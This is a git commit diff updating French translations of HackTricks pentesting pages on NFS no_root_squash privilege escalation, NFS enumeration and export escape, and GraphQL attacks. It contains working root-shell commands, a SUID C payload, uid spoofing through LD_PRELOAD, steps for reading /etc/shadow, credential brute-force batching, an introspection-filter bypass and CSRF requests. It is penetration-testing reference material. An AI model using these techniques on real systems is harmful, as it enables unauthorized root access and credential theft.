mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/nfs-no_root_squash
This commit is contained in:
parent
19a7ba7f60
commit
1098e77304
@ -1,18 +1,29 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Lisez le _ **/etc/exports** _ fichier, si vous trouvez un répertoire configuré comme **no_root_squash**, alors vous pouvez **y accéder** **en tant que client** et **écrire à l'intérieur** de ce répertoire **comme** si vous étiez le **root** local de la machine.
|
||||
# Informations de base sur le Squashing
|
||||
|
||||
**no_root_squash** : Cette option donne essentiellement l'autorité à l'utilisateur root sur le client d'accéder aux fichiers sur le serveur NFS en tant que root. Et cela peut entraîner de graves implications en matière de sécurité.
|
||||
NFS fera généralement (surtout sous Linux) confiance au `uid` et `gid` indiqués par le client se connectant pour accéder aux fichiers (si Kerberos n'est pas utilisé). Cependant, il existe certaines configurations qui peuvent être définies sur le serveur pour **changer ce comportement** :
|
||||
|
||||
**no_all_squash :** Cela est similaire à l'option **no_root_squash** mais s'applique aux **utilisateurs non-root**. Imaginez que vous avez un shell en tant qu'utilisateur nobody ; vérifiez le fichier /etc/exports ; l'option no_all_squash est présente ; vérifiez le fichier /etc/passwd ; émulez un utilisateur non-root ; créez un fichier suid en tant que cet utilisateur (en le montant via nfs). Exécutez le suid en tant qu'utilisateur nobody et devenez un utilisateur différent.
|
||||
- **`all_squash`** : Cela écrase tous les accès en mappant chaque utilisateur et groupe à **`nobody`** (65534 non signé / -2 signé). Par conséquent, tout le monde est `nobody` et aucun utilisateur n'est utilisé.
|
||||
- **`root_squash`/`no_all_squash`** : C'est la valeur par défaut sur Linux et **n'écrase que l'accès avec uid 0 (root)**. Par conséquent, tout `UID` et `GID` sont de confiance, mais `0` est écrasé à `nobody` (donc aucune usurpation de root n'est possible).
|
||||
- **`no_root_squash`** : Cette configuration, si elle est activée, n'écrase même pas l'utilisateur root. Cela signifie que si vous montez un répertoire avec cette configuration, vous pouvez y accéder en tant que root.
|
||||
|
||||
# Élévation de privilèges
|
||||
Dans le fichier **/etc/exports**, si vous trouvez un répertoire configuré comme **no_root_squash**, alors vous pouvez **y accéder** en tant que **client** et **écrire à l'intérieur** de ce répertoire **comme** si vous étiez le **root** local de la machine.
|
||||
|
||||
Pour plus d'informations sur **NFS**, consultez :
|
||||
|
||||
{{#ref}}
|
||||
/network-services-pentesting/nfs-service-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
# Escalade de privilèges
|
||||
|
||||
## Exploit à distance
|
||||
|
||||
Si vous avez trouvé cette vulnérabilité, vous pouvez l'exploiter :
|
||||
|
||||
- **Monter ce répertoire** sur une machine cliente, et **en tant que root copier** à l'intérieur du dossier monté le binaire **/bin/bash** et lui donner des droits **SUID**, et **exécuter depuis la machine victime** ce binaire bash.
|
||||
Option 1 utilisant bash :
|
||||
- **Monter ce répertoire** sur une machine cliente, et **en tant que root copier** à l'intérieur du dossier monté le binaire **/bin/bash** et lui donner des droits **SUID**, puis **exécuter depuis la machine victime** ce binaire bash.
|
||||
- Notez que pour être root à l'intérieur du partage NFS, **`no_root_squash`** doit être configuré sur le serveur.
|
||||
- Cependant, s'il n'est pas activé, vous pourriez escalader vers un autre utilisateur en copiant le binaire dans le partage NFS et en lui donnant la permission SUID en tant qu'utilisateur vers lequel vous souhaitez escalader.
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
mkdir /tmp/pe
|
||||
@ -25,7 +36,9 @@ chmod +s bash
|
||||
cd <SHAREDD_FOLDER>
|
||||
./bash -p #ROOT shell
|
||||
```
|
||||
- **Monter ce répertoire** sur une machine cliente, et **en tant que root copier** à l'intérieur du dossier monté notre charge utile compilée qui abusent de la permission SUID, lui donner des droits **SUID**, et **exécuter depuis la machine victime** ce binaire (vous pouvez trouver ici quelques [charges utiles C SUID](payloads-to-execute.md#c)).
|
||||
Option 2 utilisant du code compilé en C :
|
||||
- **Monter ce répertoire** sur une machine cliente, et **en tant que root copier** à l'intérieur du dossier monté notre charge utile compilée qui abusent des permissions SUID, lui donner des droits **SUID**, et **exécuter depuis la machine victime** ce binaire (vous pouvez trouver ici quelques [C SUID payloads](payloads-to-execute.md#c)).
|
||||
- Même restrictions qu'auparavant
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
gcc payload.c -o payload
|
||||
@ -43,7 +56,7 @@ cd <SHAREDD_FOLDER>
|
||||
|
||||
> [!NOTE]
|
||||
> Notez que si vous pouvez créer un **tunnel de votre machine à la machine victime, vous pouvez toujours utiliser la version distante pour exploiter cette élévation de privilèges en tunnelant les ports requis**.\
|
||||
> Le truc suivant est dans le cas où le fichier `/etc/exports` **indique une IP**. Dans ce cas, vous **ne pourrez pas utiliser** en aucun cas l'**exploit distant** et vous devrez **abuser de ce truc**.\
|
||||
> Le truc suivant est au cas où le fichier `/etc/exports` **indique une IP**. Dans ce cas, vous **ne pourrez pas utiliser** en aucun cas l'**exploit distant** et vous devrez **abuser de ce truc**.\
|
||||
> Une autre exigence requise pour que l'exploit fonctionne est que **l'exportation à l'intérieur de `/etc/export`** **doit utiliser le drapeau `insecure`**.\
|
||||
> --_Je ne suis pas sûr que si `/etc/export` indique une adresse IP, ce truc fonctionnera_--
|
||||
|
||||
@ -60,34 +73,29 @@ Les étapes de compilation de la bibliothèque peuvent nécessiter des ajustemen
|
||||
make
|
||||
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
|
||||
```
|
||||
### Réalisation de l'Exploit
|
||||
### Réalisation de l'Exploitation
|
||||
|
||||
L'exploit consiste à créer un simple programme C (`pwn.c`) qui élève les privilèges à root et exécute ensuite un shell. Le programme est compilé, et le binaire résultant (`a.out`) est placé sur le partage avec suid root, en utilisant `ld_nfs.so` pour falsifier l'uid dans les appels RPC :
|
||||
|
||||
1. **Compiler le code de l'exploit :**
|
||||
L'exploitation consiste à créer un simple programme C (`pwn.c`) qui élève les privilèges à root et exécute ensuite un shell. Le programme est compilé, et le binaire résultant (`a.out`) est placé sur le partage avec suid root, en utilisant `ld_nfs.so` pour falsifier l'uid dans les appels RPC :
|
||||
|
||||
1. **Compiler le code d'exploitation :**
|
||||
```bash
|
||||
cat pwn.c
|
||||
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
|
||||
gcc pwn.c -o a.out
|
||||
```
|
||||
|
||||
2. **Placer l'exploit sur le partage et modifier ses permissions en falsifiant l'uid :**
|
||||
|
||||
2. **Placez l'exploit sur le partage et modifiez ses permissions en falsifiant l'uid :**
|
||||
```bash
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
|
||||
```
|
||||
|
||||
3. **Exécuter l'exploit pour obtenir des privilèges root :**
|
||||
3. **Exécutez l'exploit pour obtenir des privilèges root :**
|
||||
```bash
|
||||
/mnt/share/a.out
|
||||
#root
|
||||
```
|
||||
|
||||
## Bonus : NFShell pour un Accès Furtif aux Fichiers
|
||||
## Bonus : NFShell pour un accès furtif aux fichiers
|
||||
|
||||
Une fois l'accès root obtenu, pour interagir avec le partage NFS sans changer de propriétaire (pour éviter de laisser des traces), un script Python (nfsh.py) est utilisé. Ce script ajuste l'uid pour correspondre à celui du fichier accédé, permettant d'interagir avec les fichiers sur le partage sans problèmes de permission :
|
||||
```python
|
||||
|
@ -6,27 +6,64 @@
|
||||
|
||||
**NFS** est un système conçu pour **client/serveur** qui permet aux utilisateurs d'accéder facilement à des fichiers sur un réseau comme si ces fichiers étaient situés dans un répertoire local.
|
||||
|
||||
Un aspect notable de ce protocole est son absence de **mécanismes d'authentification** ou **d'autorisation** intégrés. Au lieu de cela, l'autorisation repose sur les **informations du système de fichiers**, le serveur étant chargé de traduire avec précision les **informations utilisateur fournies par le client** dans le format **d'autorisation** requis par le système de fichiers, suivant principalement la **syntaxe UNIX**.
|
||||
|
||||
L'authentification repose généralement sur les **identifiants `UID`/`GID` UNIX et les appartenances à des groupes**. Cependant, un défi se pose en raison du potentiel décalage dans les **mappings `UID`/`GID`** entre les clients et les serveurs, ne laissant aucune place à une vérification supplémentaire par le serveur. Par conséquent, le protocole est mieux adapté à une utilisation au sein de **réseaux de confiance**, étant donné sa dépendance à cette méthode d'authentification.
|
||||
|
||||
**Port par défaut** : 2049/TCP/UDP (sauf la version 4, il nécessite juste TCP ou UDP).
|
||||
**Port par défaut** : 2049/TCP/UDP (sauf la version 4, elle nécessite juste TCP ou UDP).
|
||||
```
|
||||
2049/tcp open nfs 2-3 (RPC #100003
|
||||
```
|
||||
### Authentification
|
||||
|
||||
Un aspect notable de ce protocole est son absence habituelle de mécanismes d'**authentification** ou d'**autorisation** intégrés. Au lieu de cela, l'autorisation repose sur les **informations du système de fichiers**, le serveur étant chargé de traduire avec précision les **informations utilisateur fournies par le client** dans le format **d'autorisation** requis par le système de fichiers, suivant principalement la **syntaxe UNIX**.
|
||||
|
||||
L'authentification repose généralement sur les **identifiants `UID`/`GID` UNIX et les appartenances à des groupes**. Cependant, un défi se pose en raison du potentiel décalage dans les **mappings `UID`/`GID`** entre les clients et les serveurs, ne laissant aucune place à une vérification supplémentaire par le serveur. De plus, ces détails sont envoyés par le client et sont de confiance pour le serveur, donc un client malveillant pourrait potentiellement **usurper un autre utilisateur en envoyant des `uid` et `gid` plus privilégiés**.
|
||||
|
||||
**Cependant, notez qu'il n'est pas possible par défaut d'usurper le `UID` 0 (root) en utilisant NFS. Plus d'informations à ce sujet dans la section de squashing.**
|
||||
|
||||
#### Hôtes
|
||||
|
||||
Pour une meilleure (ou certaine) autorisation, vous pouvez spécifier les **hôtes** qui peuvent accéder au partage NFS. Cela peut être fait dans le fichier Linux `/etc/exports`. Par exemple :
|
||||
```
|
||||
/PATH/TO/EXPORT CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ...
|
||||
/media/disk/share 192.168.2.123(rw,sec=krb5p:krb5i)
|
||||
```
|
||||
As you can see, cela permet de configurer une **IP** ou un **nom d'hôte** spécifique pour accéder au partage. Seule cette adresse pourra accéder au partage.
|
||||
|
||||
### Versions
|
||||
|
||||
- **NFSv2** : Cette version est reconnue pour sa large compatibilité avec divers systèmes, marquant son importance avec des opérations initiales principalement sur UDP. Étant le **plus ancien** de la série, il a jeté les bases pour les développements futurs.
|
||||
- **NFSv2** : Cette version est reconnue pour sa large compatibilité avec divers systèmes, marquant son importance avec des opérations initiales principalement sur UDP. Étant la **plus ancienne** de la série, elle a jeté les bases des développements futurs.
|
||||
|
||||
- **NFSv3** : Introduit avec une série d'améliorations, NFSv3 a élargi son prédécesseur en prenant en charge des tailles de fichiers variables et en offrant de meilleurs mécanismes de rapport d'erreurs. Malgré ses avancées, il a rencontré des limitations en matière de compatibilité totale avec les clients NFSv2.
|
||||
|
||||
- **NFSv4** : Une version marquante de la série NFS, NFSv4 a apporté un ensemble de fonctionnalités conçues pour moderniser le partage de fichiers à travers les réseaux. Les améliorations notables incluent l'intégration de Kerberos pour une **sécurité élevée**, la capacité de traverser les pare-feu et de fonctionner sur Internet sans avoir besoin de portmappers, le support des listes de contrôle d'accès (ACL), et l'introduction d'opérations basées sur l'état. Ses améliorations de performance et l'adoption d'un protocole orienté état distinguent NFSv4 comme une avancée majeure dans les technologies de partage de fichiers en réseau.
|
||||
- **NFSv4** : Une version marquante de la série NFS, NFSv4 a apporté un ensemble de fonctionnalités conçues pour moderniser le partage de fichiers à travers les réseaux. Les améliorations notables incluent l'intégration de Kerberos pour une **haute sécurité**, la capacité de traverser les pare-feu et de fonctionner sur Internet sans avoir besoin de portmappers, le support des listes de contrôle d'accès (ACL), et l'introduction d'opérations basées sur l'état. Ses améliorations de performance et l'adoption d'un protocole orienté état distinguent NFSv4 comme une avancée majeure dans les technologies de partage de fichiers en réseau.
|
||||
- Notez qu'il est très étrange de trouver un hôte Linux NFS prenant en charge l'authentification kerberos.
|
||||
|
||||
Chaque version de NFS a été développée dans le but de répondre aux besoins évolutifs des environnements réseau, améliorant progressivement la sécurité, la compatibilité et la performance.
|
||||
|
||||
### Squashing
|
||||
|
||||
Comme mentionné précédemment, NFS fera généralement confiance au `uid` et au `gid` du client pour accéder aux fichiers (si kerberos n'est pas utilisé). Cependant, il existe certaines configurations qui peuvent être définies sur le serveur pour **changer ce comportement** :
|
||||
|
||||
- **all_squash** : Cela écrase tous les accès en mappant chaque utilisateur et groupe à **`nobody`** (65534 non signé / -2 signé). Par conséquent, tout le monde est `nobody` et aucun utilisateur n'est utilisé.
|
||||
- **root_squash/no_all_squash** : C'est par défaut sur Linux et **n'écrase que l'accès avec uid 0 (root)**. Par conséquent, tout `UID` et `GID` sont de confiance mais `0` est écrasé à `nobody` (donc aucune usurpation de root n'est possible).
|
||||
- **no_root_squash** : Cette configuration, si activée, n'écrase même pas l'utilisateur root. Cela signifie que si vous montez un répertoire avec cette configuration, vous pouvez y accéder en tant que root.
|
||||
|
||||
### Subtree check
|
||||
|
||||
Disponible uniquement sur Linux. man(5) exports dit : "Si un sous-répertoire d'un système de fichiers est exporté, mais que l'ensemble du système de fichiers ne l'est pas, alors chaque fois qu'une demande NFS arrive, le serveur doit vérifier non seulement que le fichier accédé se trouve dans le système de fichiers approprié (ce qui est facile) mais aussi qu'il se trouve dans l'arbre exporté (ce qui est plus difficile). Cette vérification est appelée la vérification de sous-arbre."
|
||||
|
||||
Dans Linux, la **fonctionnalité `subtree_check` est désactivée** par défaut.
|
||||
|
||||
## Enumeration
|
||||
|
||||
### Useful nmap scripts
|
||||
### Showmount
|
||||
|
||||
Cela peut être utilisé pour **obtenir des informations d'un serveur NFSv3**, comme la liste des **exports**, qui est **autorisé à accéder** à ces exports, et quels clients sont connectés (ce qui peut être inexact si un client se déconnecte sans informer le serveur).
|
||||
Dans **NFSv4, les clients accèdent directement au / export** et essaient d'accéder aux exports à partir de là, échouant si c'est invalide ou non autorisé pour une raison quelconque.
|
||||
|
||||
Si des outils comme `showmount` ou des modules Metasploit ne montrent pas d'informations d'un port NFS, c'est potentiellement un serveur NFSv4 qui ne prend pas en charge la version 3.
|
||||
```bash
|
||||
showmount -e <IP>
|
||||
```
|
||||
### Scripts nmap utiles
|
||||
```bash
|
||||
nfs-ls #List NFS exports and check permissions
|
||||
nfs-showmount #Like showmount -e
|
||||
@ -36,9 +73,13 @@ nfs-statfs #Disk statistics and info from NFS share
|
||||
```bash
|
||||
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
|
||||
```
|
||||
### Montage
|
||||
### nfs_analyze
|
||||
|
||||
Pour savoir **quel dossier** le serveur a **disponible** à monter, vous pouvez lui demander en utilisant :
|
||||
Cet outil de [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) peut être utilisé pour obtenir beaucoup de données d'un serveur NFS comme **les montages**, les versions NFS prises en charge, les IP connectées, et même s'il est possible de **s'échapper des exports** vers d'autres dossiers dans le FS ou **si `no_root_squash` est activé**.
|
||||
|
||||
## Mounting
|
||||
|
||||
Pour savoir **quel dossier** le serveur a **disponible** pour le monter, vous pouvez lui demander en utilisant :
|
||||
```bash
|
||||
showmount -e <IP>
|
||||
```
|
||||
@ -53,22 +94,47 @@ Vous devez spécifier d'**utiliser la version 2** car elle n'a **aucune** **auth
|
||||
mkdir /mnt/new_back
|
||||
mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
||||
```
|
||||
## Permissions
|
||||
## Attaques
|
||||
|
||||
Si vous montez un dossier qui contient **des fichiers ou des dossiers uniquement accessibles par certains utilisateurs** (par **UID**). Vous pouvez **créer** **localement** un utilisateur avec cet **UID** et en utilisant cet **utilisateur**, vous pourrez **accéder** au fichier/dossier.
|
||||
### Confiance en UID et GID
|
||||
|
||||
## NSFShell
|
||||
Bien sûr, le seul problème ici est qu'il n'est pas possible par défaut d'usurper l'identité de root (`UID` 0). Cependant, il est possible d'usurper l'identité de tout autre utilisateur ou si `no_root_squash` est activé, vous pouvez également usurper l'identité de root.
|
||||
|
||||
Pour lister, monter et changer facilement l'UID et le GID afin d'accéder aux fichiers, vous pouvez utiliser [nfsshell](https://github.com/NetDirect/nfsshell).
|
||||
- Si vous montez un dossier qui contient **des fichiers ou des dossiers uniquement accessibles par un certain utilisateur** (par **UID**). Vous pouvez **créer** **localement** un utilisateur avec cet **UID** et en utilisant cet **utilisateur**, vous pourrez **accéder** au fichier/dossier.
|
||||
- L'outil **`fuse_nfs`** de [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) enverra toujours le UID et GID nécessaires pour accéder aux fichiers.
|
||||
|
||||
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||
### Escalade de privilèges SUID
|
||||
|
||||
## Config files
|
||||
Consultez la page :
|
||||
|
||||
{{#ref}}
|
||||
/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
|
||||
{{#endref}}
|
||||
|
||||
### Évasion des exports
|
||||
|
||||
Dans cet [excellent article](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/), il est possible de voir qu'il est possible de **s'échapper des exports pour accéder à d'autres dossiers dans le FS**.
|
||||
|
||||
Par conséquent, si un export exporte un dossier qui est un **sous-dossier** du **système de fichiers entier**, il est possible d'accéder à des fichiers en dehors de l'export si **`subtree_check`** est désactivé. Et c'est **désactivé par défaut dans Linux**.
|
||||
|
||||
Par exemple, si un serveur NFS exporte `/srv/` et que `/var/` est dans le même système de fichiers, il est possible de lire des journaux depuis `/var/log/` ou de stocker un webshell dans `/var/www/`.
|
||||
|
||||
De plus, notez qu'en règle générale, seul l'utilisateur root (0) est protégé contre l'usurpation d'identité (voir la section Squash). Cependant, si un fichier est **possédé par root mais que le groupe n'est pas 0, il est possible d'y accéder**. Par exemple, le fichier `/etc/shadow` est possédé par root mais le groupe est `shadow` (gid 42 sur Debian). Par conséquent, il est possible de le lire par défaut !
|
||||
|
||||
L'outil **`nfs_analyze`** de [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) est conçu pour soutenir cette attaque contre les systèmes de fichiers ext4, xfs, btrfs dans la version 3 (il devrait également être possible dans v4).
|
||||
|
||||
### NSFShell
|
||||
|
||||
Pour lister, monter et changer facilement UID et GID afin d'accéder aux fichiers, vous pouvez utiliser [nfsshell](https://github.com/NetDirect/nfsshell).
|
||||
|
||||
[Tutoriel NFSShell intéressant.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||
|
||||
## Fichiers de configuration
|
||||
```
|
||||
/etc/exports
|
||||
/etc/lib/nfs/etab
|
||||
```
|
||||
### Paramètres dangereux
|
||||
## Paramètres dangereux
|
||||
|
||||
- **Permissions de lecture et d'écriture (`rw`):** Ce paramètre permet à la fois la lecture et l'écriture dans le système de fichiers. Il est essentiel de considérer les implications de l'octroi d'un accès aussi large.
|
||||
|
||||
@ -80,7 +146,7 @@ Pour lister, monter et changer facilement l'UID et le GID afin d'accéder aux fi
|
||||
|
||||
- **Non-squash de tous les utilisateurs (`no_all_squash`):** Cette option garantit que les identités des utilisateurs sont préservées à travers le système, ce qui pourrait entraîner des problèmes de permissions et de contrôle d'accès si ce n'est pas correctement géré.
|
||||
|
||||
## Escalade de privilèges utilisant des erreurs de configuration NFS
|
||||
## Escalade de privilèges utilisant des mauvaises configurations NFS
|
||||
|
||||
[NFS no_root_squash et no_all_squash escalade de privilèges](../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md)
|
||||
|
||||
|
@ -170,7 +170,7 @@ Si l'introspection est activée, vous pouvez utiliser [**GraphQL Voyager**](http
|
||||
|
||||
### Interrogation
|
||||
|
||||
Maintenant que nous savons quel type d'information est enregistré dans la base de données, essayons d'**extraire quelques valeurs**.
|
||||
Maintenant que nous savons quel type d'information est enregistré dans la base de données, essayons d'**extraire certaines valeurs**.
|
||||
|
||||
Dans l'introspection, vous pouvez trouver **quel objet vous pouvez interroger directement** (car vous ne pouvez pas interroger un objet juste parce qu'il existe). Dans l'image suivante, vous pouvez voir que le "_queryType_" s'appelle "_Query_" et qu'un des champs de l'objet "_Query_" est "_flags_", qui est également un type d'objet. Par conséquent, vous pouvez interroger l'objet flag.
|
||||
|
||||
@ -202,7 +202,7 @@ Cependant, dans cet exemple, si vous essayez de le faire, vous obtenez cette **e
|
||||
.png>)
|
||||
|
||||
On dirait que d'une manière ou d'une autre, il va rechercher en utilisant l'argument "_**uid**_" de type _**Int**_.\
|
||||
Quoi qu'il en soit, nous savions déjà cela, dans la section [Basic Enumeration](graphql.md#basic-enumeration), une requête a été proposée qui nous montrait toutes les informations nécessaires : `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
Quoi qu'il en soit, nous le savions déjà, dans la section [Basic Enumeration](graphql.md#basic-enumeration), une requête a été proposée qui nous montrait toutes les informations nécessaires : `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
|
||||
Si vous lisez l'image fournie lorsque j'exécute cette requête, vous verrez que "_**user**_" avait l'**arg** "_**uid**_" de type _Int_.
|
||||
|
||||
@ -219,7 +219,7 @@ Et pendant la **phase d'énumération**, j'ai découvert que l'objet "_**dbuser*
|
||||
|
||||
**Truc de dump de chaîne de requête (merci à @BinaryShadow\_)**
|
||||
|
||||
Si vous pouvez rechercher par un type de chaîne, comme : `query={theusers(description: ""){username,password}}` et que vous **cherchez une chaîne vide**, cela va **dump toutes les données**. (_Notez que cet exemple n'est pas lié à l'exemple des tutoriels, pour cet exemple, supposez que vous pouvez rechercher en utilisant "**theusers**" par un champ de chaîne appelé "**description**"_).
|
||||
Si vous pouvez rechercher par un type de chaîne, comme : `query={theusers(description: ""){username,password}}` et que vous **cherchez une chaîne vide**, cela va **dump toutes les données**. (_Notez que cet exemple n'est pas lié à l'exemple des tutoriels, pour cet exemple, supposons que vous pouvez rechercher en utilisant "**theusers**" par un champ de chaîne appelé "**description**"_).
|
||||
|
||||
### Recherche
|
||||
|
||||
@ -304,7 +304,7 @@ rating
|
||||
```
|
||||
**Notez comment à la fois les valeurs et le type de données sont indiqués dans la requête.**
|
||||
|
||||
De plus, la base de données prend en charge une opération de **mutation**, nommée `addPerson`, qui permet la création de **personnes** ainsi que leurs associations avec des **amis** et des **films** existants. Il est crucial de noter que les amis et les films doivent préexister dans la base de données avant de les lier à la personne nouvellement créée.
|
||||
De plus, la base de données prend en charge une opération de **mutation**, nommée `addPerson`, qui permet la création de **personnes** ainsi que leurs associations à des **amis** et des **films** existants. Il est crucial de noter que les amis et les films doivent préexister dans la base de données avant de les lier à la personne nouvellement créée.
|
||||
```javascript
|
||||
mutation {
|
||||
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
||||
@ -339,7 +339,7 @@ Comme expliqué dans [**l'une des vulnérabilités décrites dans ce rapport**](
|
||||
### Batching brute-force dans 1 requête API
|
||||
|
||||
Cette information a été tirée de [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
|
||||
Authentification via l'API GraphQL avec **l'envoi simultané de nombreuses requêtes avec différentes identifiants** pour le vérifier. C'est une attaque par force brute classique, mais il est maintenant possible d'envoyer plus d'une paire login/mot de passe par requête HTTP grâce à la fonctionnalité de batching de GraphQL. Cette approche tromperait les applications externes de surveillance des taux en leur faisant croire que tout va bien et qu'il n'y a pas de bot de force brute essayant de deviner des mots de passe.
|
||||
Authentification via l'API GraphQL avec **l'envoi simultané de nombreuses requêtes avec différentes identifiants** pour le vérifier. C'est une attaque par force brute classique, mais il est maintenant possible d'envoyer plus d'une paire login/mot de passe par requête HTTP grâce à la fonctionnalité de batching de GraphQL. Cette approche tromperait les applications externes de surveillance de taux en leur faisant croire que tout va bien et qu'il n'y a pas de bot de force brute essayant de deviner des mots de passe.
|
||||
|
||||
Vous pouvez trouver ci-dessous la démonstration la plus simple d'une requête d'authentification d'application, avec **3 paires email/mot de passe différentes à la fois**. Évidemment, il est possible d'en envoyer des milliers dans une seule requête de la même manière :
|
||||
|
||||
@ -353,13 +353,13 @@ Comme nous pouvons le voir sur la capture d'écran de la réponse, les première
|
||||
|
||||
De plus en plus de **points de terminaison graphql désactivent l'introspection**. Cependant, les erreurs que graphql renvoie lorsqu'une requête inattendue est reçue sont suffisantes pour que des outils comme [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) puissent recréer la plupart du schéma.
|
||||
|
||||
De plus, l'extension Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observe les requêtes API GraphQL passant par Burp** et **construit** un **schéma** GraphQL interne avec chaque nouvelle requête qu'il voit. Il peut également exposer le schéma pour GraphiQL et Voyager. L'extension renvoie une réponse factice lorsqu'elle reçoit une requête d'introspection. En conséquence, GraphQuail montre toutes les requêtes, arguments et champs disponibles pour une utilisation au sein de l'API. Pour plus d'infos [**vérifiez ceci**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
De plus, l'extension Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observe les requêtes API GraphQL passant par Burp** et **construit** un **schéma** GraphQL interne avec chaque nouvelle requête qu'il voit. Elle peut également exposer le schéma pour GraphiQL et Voyager. L'extension renvoie une réponse factice lorsqu'elle reçoit une requête d'introspection. En conséquence, GraphQuail montre toutes les requêtes, arguments et champs disponibles pour une utilisation au sein de l'API. Pour plus d'infos [**vérifiez ceci**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
|
||||
Une belle **liste de mots** pour découvrir [**les entités GraphQL peut être trouvée ici**](https://github.com/Escape-Technologies/graphql-wordlist?).
|
||||
|
||||
### Contournement des défenses d'introspection GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||||
|
||||
Pour contourner les restrictions sur les requêtes d'introspection dans les API, l'insertion d'un **caractère spécial après le mot-clé `__schema`** s'avère efficace. Cette méthode exploite les erreurs courantes des développeurs dans les motifs regex qui visent à bloquer l'introspection en se concentrant sur le mot-clé `__schema`. En ajoutant des caractères comme **espaces, nouvelles lignes et virgules**, que GraphQL ignore mais qui pourraient ne pas être pris en compte dans le regex, les restrictions peuvent être contournées. Par exemple, une requête d'introspection avec une nouvelle ligne après `__schema` peut contourner de telles défenses :
|
||||
Pour contourner les restrictions sur les requêtes d'introspection dans les API, l'insertion d'un **caractère spécial après le mot-clé `__schema`** s'avère efficace. Cette méthode exploite les erreurs courantes des développeurs dans les motifs regex qui visent à bloquer l'introspection en se concentrant sur le mot-clé `__schema`. En ajoutant des caractères comme **espaces, nouvelles lignes et virgules**, que GraphQL ignore mais qui pourraient ne pas être pris en compte dans les regex, les restrictions peuvent être contournées. Par exemple, une requête d'introspection avec une nouvelle ligne après `__schema` peut contourner de telles défenses :
|
||||
```bash
|
||||
# Example with newline to bypass
|
||||
{
|
||||
@ -369,7 +369,7 @@ Pour contourner les restrictions sur les requêtes d'introspection dans les API,
|
||||
```
|
||||
Si cela échoue, envisagez des méthodes de requête alternatives, telles que **GET requests** ou **POST avec `x-www-form-urlencoded`**, car des restrictions peuvent ne s'appliquer qu'aux requêtes POST.
|
||||
|
||||
### Essayez les WebSockets
|
||||
### Essayez WebSockets
|
||||
|
||||
Comme mentionné dans [**cette conférence**](https://www.youtube.com/watch?v=tIo_t5uUK50), vérifiez s'il est possible de se connecter à graphQL via WebSockets, car cela pourrait vous permettre de contourner un éventuel WAF et de faire en sorte que la communication WebSocket divulgue le schéma de graphQL :
|
||||
```javascript
|
||||
@ -411,17 +411,17 @@ Si vous ne savez pas ce qu'est le CSRF, lisez la page suivante :
|
||||
../../pentesting-web/csrf-cross-site-request-forgery.md
|
||||
{{#endref}}
|
||||
|
||||
Là-bas, vous pourrez trouver plusieurs points de terminaison GraphQL **configurés sans jetons CSRF.**
|
||||
Vous pourrez trouver plusieurs points de terminaison GraphQL **configurés sans tokens CSRF.**
|
||||
|
||||
Notez que les requêtes GraphQL sont généralement envoyées via des requêtes POST utilisant le type de contenu **`application/json`**.
|
||||
Notez que les requêtes GraphQL sont généralement envoyées via des requêtes POST en utilisant le Content-Type **`application/json`**.
|
||||
```javascript
|
||||
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
||||
```
|
||||
Cependant, la plupart des points de terminaison GraphQL prennent également en charge les requêtes POST **`form-urlencoded` :**
|
||||
Cependant, la plupart des points de terminaison GraphQL prennent également en charge les **`form-urlencoded` POST requests :**
|
||||
```javascript
|
||||
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||||
```
|
||||
Par conséquent, comme les requêtes CSRF comme celles précédentes sont envoyées **sans requêtes préalables**, il est possible de **faire** **des changements** dans le GraphQL en abusant d'un CSRF.
|
||||
